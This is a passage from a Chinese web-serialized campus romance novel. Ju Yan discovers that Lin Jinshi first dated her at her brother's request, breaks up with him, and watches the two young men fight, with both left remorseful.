“你的感冒真的好了吗？”鞠言抚摸着躺在她大腿上舒服地呼噜着的馄饨，侧过脸问林今世，她记得他昨天还是咳了几声的。 “嗯。”林今世懒懒应了一声。 鞠言还是有些不放心，她略侧过身，一只手撩起林今世的额发，俯身过去，林今世立刻会意地低下脸，她的额头贴住他的额头。 “是好多了。” 夜风吹过，她水盈盈的双眸灵动莹亮，只映出他一个人。 林今世情不自禁单手掬住鞠言的脸，凑近。和她鼻尖碰鼻尖，轻轻蹭着。 他低声说：“你的眼里永远只许有我一个人。” _ 一月出头，大道两侧斑白高大的梧桐树把所有的叶子都送给了柏油路。 鞠然闲闲地吹着口哨，把篮球包搁在背部，反手提着。 “先回寝室冲澡还是先去吃饭？”走在身侧的蒋辉问。 “当然是先回去冲澡，汗津津的在食堂，熏到男的倒没事，熏到女孩子怎么办。” “你就是屁事多。我怎么没闻到有什么味道？”蒋辉朝鞠然凑近过去，鞠然连忙躲开，嫌弃道： “要不是你有女朋友，我高低得把你阉了晚上才敢睡觉！” “你想屁呢！老子要是真是弯的，早屁颠屁颠追林今世去了，怎么可能看得上你！”蒋辉不爽地反唇相讥。 他们两个幼稚的争吵让楚源哭笑不得，他不想再听他们吵架，目光瞥向湖边，想观赏一下清新的景色，却不经意间看见了林今世和鞠言正在进行时的缱绻。 他眨了下眼睛，确认自己没看错后，忙用手肘撞了撞正在和蒋辉吵架的鞠然，也算是中断他们两个无聊的争吵。 楚源笑道：“你看那边，是不是比比和今世？” 鞠然回过头望了一眼，恰好看见林今世用脸偎蹭着鞠言的脖颈撒娇。 鞠然的目光愕住。 楚源看到他的瞳孔在颤抖，被吓了一跳：“你，你怎么啦？！” 鞠然不理他，喃喃自语道：“林今世你个狗！” 第48章 林今世要先将馄饨送到寄养的朋友家,鞠言便打算先回宿舍洗个澡，等林今世回来再一起去吃晚餐。 林今世陪着她走到寝室楼下，依偎了一会儿,鞠言先松开了相牵着的那只手：“待会儿见。” “嗯……”林今世俯下身，轻轻在她的额头印下一吻。 鞠言踮起脚在他的脸颊回了一个轻轻的吻,甜笑道：“那我走了。” …… 林今世将手揣在兜里，背过身往回走,虽然知道马上就能见面，却有些恋恋不舍，回过头望了一眼。 可鞠言的身影已经不见了。 林今世：“……”- 洗完了澡,鞠言裹着厚睡衣从衣柜里挑了条雪白的连衣裙子换上，再套上裸色的防冻丝袜，天气冷,她又在外面罩了一件的灰色毛衣马甲。 配上小栀子花耳环，鞠言站到寝室的穿衣镜前仔细照了照，犹豫了下,将栀子花耳环摘下来放回了首饰盒内，转而伸手取出那枚放在中间格中的海蓝色耳钉拿出来戴上。 回想起林今世替她戴上这枚耳钉时的场景,鞠言的心依旧不受控地砰砰直跳。 手机在这时响了一声,是鞠然的消息：【你下来，哥有事跟你说。】 鞠言蹦蹦跳跳地下楼,鞠然正站在她们宿舍楼外等她,鞠言走近了，发觉他还没有洗过澡，敞开的羽绒服内汗湿的球衣都还没有换下来。 鞠言奇怪道：“怎么不先回寝室把球服换了？你不怕感冒吗？” “我们找个地方聊聊，你想去几号食堂吃饭？”鞠然答非所问。 “我才不跟你一起去吃饭，你臭死了。”鞠言嫌弃道。 鞠然闻了一下自己的手臂,反驳道：“哪有！” 鞠言捏住鼻子：“就是有！” 鞠然哼了一声：“你是因为要和林今世一起去吃饭才这么说的吧。” 鞠言：“关你屁事。” “就是关我的事。”鞠然的眼中透出得意。 鞠然这人一向莫名其妙，鞠言懒得理他，催促道：“有事快点说。” 鞠然：“先找个能坐着说话的地方。” 鞠言不情愿跟他出去：“就不能在这 里说吗？” “一句两句说不清楚，哎，你跟林今世说一声吧，你不是还要上晚自习吗，等我说清楚了，你们也来不及去吃饭了。” 鞠言看了眼腕表，已经快18:20分了，不乐意道： “要是敢骗我，你就完蛋了！” “我保证，你知道后一定会大吃一惊的。”鞠然神秘地说道。 鞠言不情不愿地拿出手机，给林今世发去消息： 【抱歉啊，不能一起去吃饭了。】 林今世隔了一会儿才回复过来一条伴随着猫叫声的语音：【怎么了？】 鞠言：【临时有点事。】 林今世语音里的声音略显低落：【那等下一起吃宵夜，我来接你。】 鞠言不觉微笑起来：【嗯！】 身旁人来人往，鞠然人缘广，才一会儿就已经碰到好几个认识的人了。 鞠言跟着鞠然来到一家学校内的甜品店，他探头进店内，和一个兼职的女员工打了声招呼，随后侧过脸问鞠言道：“你要吃什么吗？” 鞠言还不饿，而且等会儿还要和林今世一起吃晚饭，她不想提前吃太饱，便只要了一块半熟芝士。 两人围着甜品店外置的一张小圆桌坐下，冷飕飕的风中弥漫着烘培的甜香。 鞠然一口气将一杯冰美式喝的只剩了冰块，又揭开盖子，往嘴里倒了几块冰块嚼着。 鞠言无语地看着他：“你像猪八戒。” 鞠然毫不在乎：“那你就是猪八戒的妹妹，也是猪。” 鞠言强忍住想揍他的冲动：“你到底有什么事，快点说。” 鞠然故作姿态地慢吞吞将嘴里的将冰块嚼完，随后才一本正经地望着她道：“你准备准备，跟林今世分手吧。” 鞠言白了他一眼：“跟你有什么关系。” 鞠然语重心长地道：“好啦，这么帅的谈过一次也可以满足了，听哥的话，去分手。” 鞠言看着他装模作样的样子，忍不住扑哧一笑：“你不会暗恋林今世吧？” 鞠然皱眉“啧”了一声：“胡说什么呢你，我跟你说认真的。你有我了解他吗，他根本不会专心喜欢一个人的，很快就会腻的。而且他很快就要出国了，与其你以后陷进去出不来，不如现在早点断了。” 鞠言微怔，没想到林今世还没跟鞠然说过他不打算出国了的事，刚想告诉他，鞠然已自顾自说下去： “即使他现在看起来是真喜欢你，那以后呢？身边扑上去的人那么多，情敌多到赶都赶不完，到时候你怎么办？一天24小时都用来看住他吗？还是指望他自己管住自己？” 鞠然往后靠到原木椅背上，又往嘴里倒了几块冰：“哥劝你一句，别不清醒了。” 鞠言烦他一副语重心长的语气，回头望向他道：“你能不能不要插手我们两个人的事情？” 鞠然挑了下眉，他慢慢坐起来，朝她竖起了三根手指，用标准而千篇一律的播音腔，得意洋洋地说道： “这是我们三个人的事。”- 11月秋。正是周孝明生日那一天的夜晚。大学城的酒吧新开业，酒水打折，客人非常多。 在闪动的紫色灯光和嘈闹的音乐声中，鞠然盲目地朝酒吧里挤，经过一楼走廊旁的卡座时，忽然有人拉了他一把。 “鞠然！”对方惊喜地喊道。 鞠然呆了一秒，认出了对方：“郑彦？！” 郑彦是鞠然的初中同学，高中时因为户籍原因没办法继续在玉雾，只能回原籍临福市读高中。 鞠然和他在初中的时候关系只是普通同学，但由于是久别重逢，鞠然又极外向，干脆就在他的那桌坐下。 “你怎么会在这？”鞠然笑问。 郑彦：“我有个朋友是清津工程学院的，我来看看他。” “我还以为你也考清津来了，本来可以一起玩了。”鞠然略显遗憾。 “我忘不了玉雾，志愿特意填了那儿的大学。”郑彦亲热地搂住鞠然的肩膀，“你呢大学霸，考哪里了？” 鞠然喝了口酒，才慢慢吞吞地用若无其事的语气说出来：“清大。” “清津大学？！”同桌的一个戴粉色鸭舌帽的女孩睁圆眼睛喊道。 “牛啊！”同桌的另外几个人也喊起来：“来敬大学霸一个！” 十只不同的手握着相同的子弹杯聚在一起轻撞了一下。 鞠然仰头将杯中的龙舌兰饮尽。 郑彦放下小酒杯：“你妹呢，有男朋友有了没？” 鞠言初中上的也是和鞠然同一所，她有时会去鞠然的教室找他，因此郑彦见过她几回，之前也存了想追求的心，但碍于鞠然那副“守妹狂魔”的模样，一直没敢表现出来。 “嗯。”鞠然发出懒得提起的声音。 郑彦好奇地问：“谁啊，我认识吗？” 鞠然敷衍道：“你不认识，也是清大的，叫周孝明。” 郑彦呆了下：“周孝明？” “怎么，你认识？”发觉郑彦的脸色不对，鞠然疑惑道。 郑彦点了支烟抽：“和我一个高中的。” “噢，人怎么样？”鞠然从果盘里扎了颗金桔丢到嘴里，随口一问。 郑彦瘪着嘴摇了下头，脱口而出：“不怎么样。” 闻言，鞠然仰起脸看他，郑彦脸色滞了一秒，随即笑道：“我乱说的。” 鞠然不相信，追问：“你这人以前就是这样圆滑，肯定有什么事瞒着我不肯说！你就告诉我，我保证不告诉别人是你说的。” 郑彦笑嘻嘻地：“真没有，骗你干嘛。”见鞠然一副要刨根问底的样子，郑彦忽然朝南面张望了一下，不知冲谁亲热地打了声招呼：“曹哥！你怎么也在啊？”站起身就要走。 “哪去啊？”鞠然抓住他的手。 郑彦一边掰开他的手，一边回过头笑道：“我那边有个熟人，打声招呼就回来。” 鞠然略有狐疑，但想着这一桌都是郑彦的朋友，不至于跑了，便松开了手。 可等了半天也没见郑彦回来，鞠然给他发的几条微信也都没回，鞠然不由得有些急了，忙问身旁一个女孩郑彦去哪里了。 女孩把嘴里的薯条咽下去： “我不知道。” 鞠然愣了下：“你们不是他的朋友吗？” 女孩眨了眨眼睛：“不是啊，我们是拼桌的。” 鞠然连忙从座位跳起来，一边摇了个微信电话给郑彦，一边四下望着，酒吧人头攒动，灯光又昏暗，根本找他不见。 因为郑彦的一句话，鞠然总有些不放心，发微信问郑彦，他也是顾左右而言他，鞠然愈发觉得不对劲了。 他想找人打听一下周孝明，可不管是清津还是玉雾离临福市都有几百公里，除了郑彦以外，鞠然根本没有认识的人。 贸然去跟鞠言讲，她肯定会认为他是在搞鬼。 鞠然为这事苦恼了许久，某日和林今世一块儿去上课，周孝明恰巧走在他们前面。 鞠然看着他温文尔雅的背影，怎么看怎么不顺眼，忍不住小声咒骂起来。 “你念什么咒语呢？”林今世无语地瞥了他一眼。 “早日分手咒！”鞠然怨声道。 林今世：“……” 鞠然忽然顿了下，随即猛地旋过脸，两眼放光地盯着林今世俊美而薄情的脸庞，一个主意在心里蓦然而生。 林今世微微皱了下眉：“干什么？” 鞠然揽住林今世的肩，朝着周孝明的背影挑了下下巴：“去帮兄弟把那个家伙解决了。” 林今世语气漫不经心：“你管的也太多了。” 鞠然把之前遇到郑彦的事，简明扼要地跟林今世讲了一遍，随后总结道：“看郑彦那个反应，肯定有问题。” 他一脸认真：“帮下兄弟的忙，你反正出国前不打算谈恋爱了。” 林今世懒得理他，顾自拧开瓶盖喝水。 鞠然契而不舍：“不需要一直跟她交往，把他俩拆散了，你的任务就结束了，到时候再把她甩了就行。” 林今世不耐地瞥了他一眼：“我不干这种缺德的事。” “帮帮忙，帮帮忙。”鞠然两手合十摇着，“我家小比可是张白纸，万一他是个烟头，岂不是要被他烫破了。” “……”林今世沉吟片刻：“她会伤心的吧？” 鞠然一副大义灭亲的模样：“伤心就伤心吧，反正不能让她和那种有潜在风险的家伙交往。” 见林今世还是迟疑，鞠然又道：“你想想，万一这家伙只是长相清纯，实则脏的得去割□□，那怎么办！” 林今世“啧”了一声。 鞠然乞求地摇着他的手臂：“我知道你不是什么好东西，反正只是帮个忙！” 林今世甩开他：“……我不会追人。” 见他似乎快答应了，鞠然忙乘胜追击： “你有这张脸在，还用怎么追吗，随便约那个男的看个电影什么的就行了。” 林今世：“……” 他将手里的空瓶子丢进附近的垃圾桶，随即慢慢捋高袖子。 鞠然忙道：“别动手别动手！我逗你玩的。” …… 见鞠言听完了以后沉默半天不讲话，鞠然挑起一侧嘴角笑道： “你不信打电话给他。” 第49章 鞠言颤手拿出手机,壁纸是他和她手牵手的合照，看着屏幕中林今世微微淡笑的脸，她的心脏有一瞬间的抽痛。 犹豫了一下,鞠言还是选择打语音电话给林今世，她怕看到他,自己的情绪会控制不住。 林今世很快接了起来，薄情的声音中透出柔意：“喂,比比。” 鞠言松开紧咬着唇的齿，努力让自己的声音平静：“是真的吗？” 林今世一时没有听懂，语调懒懒地问：“什么？” “你,你和我在一起。是鞠然让你来骗我的，是吗？”鞠言的声音陪着她的身体微微发颤。 …… 她的话语好像掉进了一个深不见底的深渊中，空气在瞬间陷入了死寂。 林今世的默然已经告诉了她答案。 鞠言心里仅存的一线希望“啪”的一声断掉了。 许久之后,深渊终于传来一声沉闷的回音： “对不起……” 回音在一瞬间变成了踏碎了鞠言尊严的利器。 鞠言的手指不受控地颤抖着，使劲按了两下才将电话挂断。 鞠然不以为然地伸手过来拍了拍她发抖的肩膀，笑道：“好啦,别难受，要不是哥,你哪谈得到那么帅的——” 鞠言猛地甩开他的手,啪的给了他一记耳光。 “很好玩吗？耍我。” 响亮的一巴掌惹得好多人都看了过来，鞠然的脸微微偏向一侧,怔然了好几秒才迟钝地转回来,对上妹妹满是泪水的眼睛，他的嘴唇动了动想说什么。 鞠言猛地别开脸，大滴的泪珠被甩落，她闭上眼睛，两手捂住耳朵,颤声道：“滚！” 昏暗吞噬所有，周围的喧闹一丝一毫地传不进她的耳朵里，只有尖锐的耳鸣响彻整个黑暗的世界。 良久之后，鞠言才再度疲惫地睁开眼睛，对座的椅子空着。 如梦未醒，耳鸣还在持续。 鞠言站起身直直地往外走，经过路缘石时一脚踩空，人往前扑，跌倒在了路面上。 鞠然其实并没有走远，一直躲在不远处朝这边注意着，看到鞠言摔倒了，他立刻冲了过来，把她从地上扶起来。 鞠言脑海一片空，她轻声说了句：“谢谢。”茫然地推开他自己走。 鞠言并没有注意到左腿膝盖的划伤，一心反复地回想着林今世与她交往时的异常。 怪不得他以前的时候总是若即若离，原来他一点都不喜欢她，之前和她相处的时候，他应该很为难吧。 鞠言浑身发颤，不敢再想。 看到她宛若失血过多的苍白脸色，鞠然吓了一大跳，忙道：“我背你去医务室！” 鞠言这才反应过来是他，她用力推了鞠然一把，不让他碰自己。出神而茫然地往宿舍楼的方向走。 鞠然紧随在她身后，生怕她会再摔一跤，双手时不时又探向她又收回。 一阵寒冷的晚风吹来，前边宿舍楼阳台的衣服被风带的飘起来，有几根架在挂杆上的空衣架也随着风簌簌晃动。 鞠言仰起脸看着，忽然想到自己小的时候，她犯了错，叶珊恫吓要打她，叶珊只要一喊： “哥哥去把衣架给妈妈拿来！” 鞠然便会立刻跑去把衣架之类能打人的东西全部藏起来。有时来不及藏了，他便会张开手臂，一脸坚定地挡在她的前面。 他小小的身躯，在那时的鞠言眼里拥有无限安全感。 鞠言停住了脚步，回过脸看着鞠然。 陌生的年轻男人满眼都是担忧，鞠言冷笑了下，声气虚弱： “你根本就不是鞠然，我哥他不会这样骗我。” “比比……”鞠然满目悲伤地望着她。 鞠言神色惨淡地摇了摇头：“我不认识你，不要这么喊我。” 鞠然的眼眶瞬间有些泛红，黑润的眼睛也蒙上了一层薄雾。 _ 鞠言到晚自习教室时后排的位置已经坐满了人，童钰她们没想到她会来，便没有帮她占位置，只剩下了前排的位置还空着，鞠言随便找了个位置坐下，从帆布包里拿出笔记来看。 黄欣瑶就坐在鞠言后一排，看到鞠言苍白的脸色还有消失不见的林今世，她猜到了几分，立刻面带快意地凑近自己的女伴小声道： “我就说是玩玩的嘛，两个人走在一起都不般配。” 鞠言回过身向她们看过去，镇定的声音中暗藏着一丝微不可查的痛苦： “我和他怎么样都和你没关系，还轮不到你来讲什么。” 一下子，其他在聊天的同学全都默契地安静了，几乎所有的目光都朝这边看过来，黄欣瑶和自己的女伴神色尴尬地对看了一眼，没有再说话。 鞠言咬紧了唇，狠掐了掐手心，让自己平静下来。她不想再哭了。 随着代表上课铃声的钢琴曲响起，教室里渐渐安静的一点声音都没有了。 身旁有人坐下，鞠言回过脸，是童钰，她应该是因为担心她，所以特意过来了。 但鞠言此刻不想跟任何说话，她只朝她微笑了下，便又将脸垫到了臂弯上，心不在焉地看着笔记。 教室的前门被人小心翼翼地推开了条缝，鞠然的眼睛出现在了后面，他偷偷注意了她一会儿，看她情绪平静了，鞠然才小心地推开门慢慢走进来。 童钰先注意到了他，伸手轻轻扯了扯鞠言的袖子，鞠言不想说话，侧过脸去看她，看到鞠然，她即刻视若无睹地收回目光，继续看自己的笔记。 童钰给鞠然让了位置，鞠然站了会儿，拘谨地在她身边坐下，他犹豫着开口，声音压得很低：“哥只是不想你和之前那个家伙交往。” “……” 鞠言不抬头，也不理他，她的长发披散着，鞠然看不见她脸上的表情，只看到她紧紧地攥着手中的笔。 沉默了片刻，鞠然又道：“林今世本来就不会喜欢你这种类型的，你没看见他那些前任吗？一个个都是校花级别的。” 一滴泪珠砸碎在笔记本的横线上，晕开了黑色的字迹。 鞠然呆了呆，有些失措：“别，别哭啊……” 鞠言发白的唇不受控地颤抖着，良久，她颤声道：“你能不能滚，我不想看见你。” “……”鞠然望着她默然了一会儿，起身出了教室。 处于晚自习上课的时间，楼梯空旷无人，鞠然拖着脚步，慢吞吞地飘到一楼，匆匆跑来的林今世与他迎面碰上。 林今世声寒如冰：“你还有脸来。” 鞠然气得笑了一声：“你还有脸来？你当初是怎么答应我的，再来纠缠我妹，我们就绝交。” “随你。”林今世冷漠地说，越过他朝楼 上走。 鞠然拽住他的胳膊，林今世正一肚子怨怒，反手就给了他一拳，鞠然仰跌出前好几步，爬起来时整张脸都气红了，他追上来，一拳还到了林今世的嘴角上。 两方都有气，顿时动起手来。 响动传到了楼上，教学楼的窗口上逐渐有人呼朋引伴地围观。 鞠言的同学也都跑出去看了，隔壁教室也传来一阵急切的脚步声。 人本来就有爱看热闹的天性，何况还是两个漂亮的男孩子在打架。整装教学楼迅速喧闹起来，几乎每个窗口都挤满了人。 “鞠言！好像是你哥和林今世打起来了！”周靓雯趴在窗户上扭过头来冲她喊了一句。 鞠言像是没听见，教室里只有她和周孝明坐着没动。他也没有回过头来看她，顾自垂眸阅读着文献。 惊呼声却越来越响，挤在窗口的童钰和沈清梨也不安地屡屡回过头来望向鞠言。 鞠言有些担心，忍不住起身走过去。 能看到他们两个的那一侧的几个窗口都趴满了人，鞠言根本挤不进去，还是童钰看到她过来，把位置让了出来。 她一眼看到了林今世和鞠然，两人还没分开，但鞠然已经有些招架不住了，林今世侧身躲过他的拳头，随即抱起鞠然就是一记背摔。 周围顿时响起的一片惊呼声，鞠言双手掩嘴倒抽了一口气，猛地旋过身朝楼下跑。 鞠然摔在地上狗喘着，他试图爬起来再打，却只是徒劳地挣扎了一下，只能冲林今世咆哮： “绝交！！！你TM的根本算不上好兄弟！” “你也一样。”林今世冷声道，他微微喘着气，猛地抬了下肩膀，把滑下来的外套穿回去。 鞠言从楼梯上飞奔下来，一楼的走廊也聚了一大波人，大多是没抢到窗口的位置，特意跑下来的。 鞠言怕他们再打起来，忙挤过围观的人群朝两人跑过去，林今世先看到了她，立刻朝她跑了过来： “比比！” 鞠言没有回答，只抬眼朝他扫了一眼，林今世脸上的伤并不严重，她随即朝远处的鞠然望去。 看到她，鞠然不自觉地低下了头，被睫毛掩住的眼睛里交织着内疚与难堪。 看到鞠然左侧额角淌着的血，鞠言忍不住用力搡了林今世一把。 鞠言跑过去。小心地把仍低着头的鞠然从地上搀扶起来。 林今世跟在她身后，语气焦急：“比比，我们谈谈。” 鞠然仰起脸，咬牙切齿地朝他吼了声：“滚！” 林今世无视他，目光只凝望在鞠言的脸上，他送给她的那枚蓝色耳钉，在夜晚像是悬在发下的一滴眼泪。 “比比……” “……” 鞠言咬紧唇，她回过身看向林今世。 衬着灰蓝色的夜幕，泪水在她莹白的脸颊上像是盈盈点点的光。 林今世瞳孔微缩，下意识地抬手，想替她抹去眼泪。 鞠言退后一步，她的声音带了哭腔：“谈什么？是还要我夸你演技好吗？” 第50章 “……”林今世无言可对,望着她只觉得心痛得喘不过气。 鞠言丢下他，扶着一瘸一拐的鞠然离开，不少围观的同学还想跟着他们去医务室看热闹。 林今世回过头,目光冷冷：“谁敢跟来我就揍谁！” 那些想跟着来的人瞬间老实了，毕竟刚刚目睹了他轻松地把一个一米八几的男生背摔到了地上。 冷得彻骨的寒风扑在脸上,鞠言沉默地扶着鞠然朝医务室走，林今世跟在他们的后面。 她无言,他和他也皆是沉默。 校医正驾着腿在玩手机，一抬脸瞧见鞠然脸上汩汩流血的伤口，吃了一惊,连忙起身去药柜里拿了碘伏给鞠然的伤口消了毒，又替他把脸颊上被打裂的伤口缝合。 鞠然满脸低落地拧着眉，全程一声都没有吭。 林今世在一旁看着鞠言担心鞠然的模样,自己嘴角的淤青不知为何开始格外的疼痛。 他也受伤了，可是对于他的伤，鞠言一声都没问。 缝完伤口,校医去冰箱里拿冰袋给鞠然，发觉没有了,便折回来,对鞠言道： “冰袋没有了，你去买根冰棍来” 鞠言点了点头,林今世就在她身后,他在望着她，鞠言只是冷漠地与他擦肩而过。 校医注意到林今世：“你脸上也要擦点药。” 林今世像没听见，追着鞠言走了出去。 鞠然忙想起身，校医摁住他，训道：“你腰上还有伤,还想跑来跑去，腰不要啦？”- 鞠言只当没有他这个人，快步朝超市走。 林今世大跨步追上来，牵住鞠言的手拉了一把，使她转过身和他面对面。 鞠言挣了挣：“放手！” 林今世抓得紧，抽不出来。 “比比你听我说，当时我是因为鞠然拜托我才来追你的。”林今世望着她的眼睛，恳切地说：“可后来我是真的喜欢上你了，你再信我一次好不好？” 一听到他提起那件事，鞠言顿时感到了一阵深深的耻辱。她紧咬着唇，又试着把手抽出来，但没有用。 被牵着的手因为情绪激动微微发着抖，鞠言冷声道：“可我已经不喜欢你了。” “……”林今世显然不信，他默然几秒，忽然牵起鞠言的手，不等她反应，就在自己脸上扇了一下。 他使得力大，玉白的脸颊顷刻间红肿了起来，林今世这侧脸颊上还有伤，这一下一定很痛。 林今世却像是不觉，又接着求道：“你再给我一次机会可以吗？” 看到他透出哀求的眼睛，鞠言的眼眶一热，不由得泛出泪水。 她沉默几秒，才狠下心道：你知道吗？其实我从来没喜欢过你，当初也不过是喜欢你的脸而已。” 把自己说的肤浅，把他贬得除了容貌以外一文不值。 林今世怔了下，声音微微发抖：“你骗人。” 鞠言吸了口气，冷漠地说：“我不像你。” 她以为他会轻蔑一笑，轻而易举地转身离开，像他从前对他前几任女友那样薄情。 可那个矜傲的少年脸色却在霎时苍白，像是被打了一枪似的定定地怔在了原地。 那一刻，他的心碎了，她的心也跟着碎了。 看着林今世眼角滑下的泪水，鞠言的心口不受控地痛起来。 林今世无助地望着她。默然良久，低声哀求道： “……只是喜欢我的脸也无所谓，只要你还有一点喜欢我……” 鞠言不由得怔住了，她从来没想过向来目空一切的林今世会这么卑微。 她像往常一样掐手心，掐的比以往任何一次都凶，自己也没有发觉，鞠言深吸了一口气，用没有任何转圜余地地语气：“你走，我不想看见你。” “比比，求你。”林今世似乎呜咽了一声。 鞠言用力摇了摇头，泪水飞溅到冰冷的地面上，她撇开脸，不忍看林今世痛苦欲绝的眼睛。 林今世的呼吸像是停了，他没有再次哀求，在她的余光中朦胧而沉默地伫立着。 鞠言丢下他离开，这一次，林今世没有再跟上来。 她的手在冷藏柜内一盒盒的冰棍前停留了下，随便拿了一根去结账。 等鞠言回来，鞠然已经从医务室出来了，正垂头丧气地坐在教学楼外花坛的石阶上，他的额角上贴着纱布块，脸上的血迹已经被清理掉了，只有一点儿淡粉色的印记。 鞠言将冰棍递给他。 “谢谢。”鞠然哑声道。 他将冰棍按脸颊上，偷偷看了一眼鞠言哭过的眼睛和被泪水划碎了的脸庞，他咬了下唇，按着冰棍的手狠狠用力了几分。 “……” 鞠言默然地望着他，鞠然抬起眼，兄妹目光相触，她淡声问： “鞠然，要是林今世没有喜欢上我，你怎么打算？要他在几个星期后随便找个理由把我甩掉吗？” 鞠然的嘴唇颤了颤：“我……” “你有想过我的尊严吗？” 鞠然的泪水渗出眼眶，他颤抖的声音里充斥着懊悔：“比比，对不起……” 鞠言木着脸像是没听见。 …… 林今世失魂地在原地伫立了许久，直到夜色笼罩了整个世界，才缓步朝宿舍楼走。 宿舍熄灯了，楚源已经睡了，蒋辉正戴着耳麦坐在电脑前打游戏。 鞠然坐在黑暗中的床上，把冰棍摁在脸上敷着伤口，面前笔记本的光微微照亮他伤痕累累的脸。 寝室门传来打开的声音，鞠然知道是林今世回来了，他没有去理会，顾自懊悔不堪地想着该怎么补救和鞠言的关系。 手中的冰棍忽然被人劈手夺了去。 鞠然惊了一惊，立刻想爬起身去抢回来，激烈的动作拉扯到了腰上的伤口，顿时传来一阵刺痛。 鞠然疼出了汗，爬不起身去抢，只能坐在床上冲林今世大声吼： “还给我！” 一脸懵的蒋辉摘下耳机，看见满脸怒气的鞠然和满身寒气的林今世，他连忙劝架： “一根冰棍而已，我现在就去给你们各自买一根回来。” 林今世置若罔闻，他坐到自己的书桌前，将那只已经有些化了的冰棍贴到自己的脸颊上。 冰凉的感觉仿佛是鞠言的手掌正轻轻贴着他的脸。 林今世忽然想起了他们遇到阵雨的那一次，她怕他淋雨，踮起脚努力地想帮他把帽子重新戴上，湿漉漉的手指擦过他脸颊的那一刻。 当时为什么没有把头低下去…… 压制到极点的情绪终于超出了身体的负荷，在心脏剧烈的疼痛中，林今世猛地呕出一口鲜血。 他在黑暗中咬紧沾了血的下唇，脸上凉凉的，有泪滑下来- 鞠言心口闷痛，昏昏沉沉地甚至忘记了自己是怎么走回宿舍的，只记得她在宿舍连躺了好几天，连课都没去上。 一开始几乎所有人都以为是林今世甩得她，其中甚至有不少幸灾乐祸的。 然而林今世每天都来鞠言的寝室楼下等，从早上等到晚上，一日三餐定好她喜欢吃的食物请人送上楼，虽然这些食物最后都会原封不动的出现在垃圾桶里。 他像是惩罚自己似的，不玩手机，不和任何人说话，对于别人的搭讪也一概不理，只是一个人安静地从早上等到晚上。 到最后连学校里不想干的人都看出了他的执着与放不下。 旁人这才发现，原来是她把他甩了。 对鞠言的从刚开始幸灾乐祸的嘲笑也逐渐变成了难以置信，奇怪她为什么会让他这么喜欢。 更让别人想不到的是，她居然真的能硬下心一次次拒绝林今世，甚至是一点希望都不给他的那种。 鞠言没有精力去想别人怎么讨论她，也并不在乎。 清醒时她还能拼尽全力地不去想到林今世，可在夜晚的睡梦中，他却总是带着过往的回忆在她的梦境中出现。 那双她忘不了的眼睛，痛苦地凝望着她。 大多时候是伤害了她的林今世，偶然也会梦到高中时期的他，冷淡地与她擦肩而过，好像两人间的一切都不曾发生。 鞠言无法回避他，几乎每天都是在寂静的凌晨哭着醒来，无言地流泪直到天亮。 清丽的脸庞上总是带着无法掩去的淡淡泪痕。 …… 整整过了一个星期，鞠言才勉强能提得起精神开始正常的生活。 星期一的清晨，鞠言和室友们一起走下楼梯，去上她的“第一个”早自习。 迎面就看见了等在楼下的林今世。 林今世仰起脸，灰败的眼睛在出现她的那一刻活了过来。 他起身朝她跑过来。 “比比！” 鞠言没有反应，只是加快了脚步。 她听室友提起过，林今世这几天一直等在楼下，虽然出门前鞠言早就提前做好了心理准备，但当他真的出现在她面前的那一刻，她还是瞬间感觉到了一阵心堵。 出了寝室楼，林今世仍跟在她的身后，注意到了鞠言痛苦的脸色，童钰忙道：“麻烦你走开。” 林今世完全把其她人当空气，目光只望着鞠言，看着她明显清瘦了一圈的脸和穿在身上显得有些宽松的羊角扣大衣，他的心脏像是被人狠狠地攥了一下。 他一跨步拦到了鞠言的前面，抓住她的肩膀弯下腰和她面对面。 “比比，你想怎么惩罚我都可以，但不要分手好不好？” 他看起来很憔悴，眼下浮着明显的黑眼圈，整个人像是一件破碎而精美的艺术品。 鞠言攥紧手心，偏开脸道：“我不想看见你，麻烦请不要再来纠缠我了。” 林今世抓着她肩膀的手颤了下，下一刻便抓得紧了些：“我不信。” 鞠言用力挣脱他的手，绕开他往前走。 林今世不放弃地跟着她来到教学楼，一起进了电梯，趁门还没有关上，鞠言用力推了他一把： “出去。” “……”林今世并没有被她推动，他默然望着她的眼睛———曾经像春水般的眼眸在冬天已经凝成了冰。 林今世闭了下眼睛，慢慢后退着出了电梯。 鞠言偏脸，避开了他的目光，抬起手按了下关门键。 电梯门缓缓夹上，林今世朦胧的身影一寸寸消失在了她的余光中。 从电梯里出来，鞠言将手揣在衣兜里，垂着眼走进自习教室，无视了同学们聚过来的目光走到第三排的空位置上坐下。 点完名后，周孝明无言地走到她身旁的位置坐了下来。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 “你好点了吗？”周孝明的声音柔软的像是包扎伤口的纱布。 “跟你没关系。”鞠言漠然道。 “……”周孝明望着她的侧脸,试图看她的眼睛：“等下一起去吃早餐好吗？” 鞠言轻摇了下头，明确地告诉他：“即使我跟林今世分手了，我也不会和你有一点儿可能的。” 周孝明的瞳孔微微颤抖了一下,他轻声道：“你就这么恨我吗？” 鞠言侧过脸看着他：“你和他没什么区别。” 周孝明伤心地望着她：“我会改的。” “离我远点。”鞠言的目光重新回到了书上。 “……”周孝明默然坐了片刻，站起身离座,坐到其他空座位上。 不一会儿，林今世出现在了教室门口,他迎着众人投来的目光走到鞠言身旁坐了下来。 鞠言正在写字的笔顿住。 林今世把手上拿着的热蛋奶和烧麦递给她： “我给你买了早餐。” 鞠言保持着原来的姿势没动：“我说过了，我不想看见你。” 林今世默然片刻，将早餐搁到了鞠言的桌上,并没有要起身的意思。 鞠言微微咬唇，开始收拾放在桌上的书本。 林今世神色一顿，按住她的手,他低声道：“我走。” 鞠言立刻将手抽开了。 林今世站起身：“那我走了……记得吃早餐。” “你不要再来了。” 林今世的脚步停下，沉默了一会，他淡声道：“不可能。” “……”鞠言闭了闭眼睛,再度不自觉掐起了手心。 早自习结束，鞠言随着人潮回到宿舍,她从书桌的柜子里拿出那本小猫相册,将她和林今世曾经的照片都找了出来，那一叠照片拿在手里厚厚的,全是他们过去的回忆。 鞠言的视线不敢触碰那两张甜蜜的脸庞,她咬了下唇，将照片一整叠全丢进了垃圾桶里。 她回到书桌前坐下，片刻后却又再度站起身重新将那一叠照片在垃圾中捡了出来。 鞠言站在垃圾桶旁快速翻着相片，两个人的身影朦胧不清，成了虚影。 她从中找出了她曾经最喜欢的——和林今世手牵手的那张照片。 鞠言将剩下的照片重现丢进垃圾桶,唯独拿着这一张回到了 座位上。 沉默地望着屏幕中恩爱的情侣看了一会儿，鞠言从抽屉里找出手工剪刀，慢慢开始将照片中的自己剪下来。 她的手抖得厉害，剪痕也歪歪扭扭不成形。 